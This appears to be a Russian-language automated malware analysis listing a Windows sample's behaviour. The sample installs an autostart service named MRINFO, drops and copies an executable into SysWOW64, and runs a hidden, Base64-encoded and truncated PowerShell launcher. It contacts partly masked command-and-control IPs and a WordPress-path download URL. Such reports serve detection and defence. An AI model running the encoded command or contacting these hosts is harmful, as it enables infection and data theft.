Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\MRINFO] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\MRINFO] 'ImagePath' = '"%WINDIR%\SysWOW64\sqlceqp30\MRINFO.exe"'
- 'MRINFO' "%WINDIR%\SysWOW64\sqlceqp30\MRINFO.exe"
- 'MRINFO' %WINDIR%\SysWOW64\sqlceqp30\MRINFO.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAFcAUQBEAEgAegBhAHkAPQAnAFcAUABSAEgAWAB4AHoAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAYABSAGkAdABgAFkAUABSAE8AVABPAGAAQwBvAEwAIgAgAD...
- %HOMEPATH%\76.exe
- %WINDIR%\syswow64\sqlceqp30\mrinfo.exe
- %HOMEPATH%\76.exe в %WINDIR%\syswow64\sqlceqp30\mrinfo.exe
- '24.##9.135.121':80
- '18#.#4.252.13':443
- http://ju#####playground.net/wp-content/b40e81/
- http://18#.##.252.13:443/v7IJ3eGZiiPz3TyPbx5/gF3a6I5bS/kzE73i7mOxX2i/TdvhP2V52Wv/ via 18#.#4.252.13
- DNS ASK ju#####playground.net
- '%HOMEPATH%\76.exe'
- '%WINDIR%\syswow64\sqlceqp30\mrinfo.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAFcAUQBEAEgAegBhAHkAPQAnAFcAUABSAEgAWAB4AHoAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAYABSAGkAdABgAFkAUABSAE8AVABPAGAAQwBvAEwAIgAgAD...' (со скрытым окном)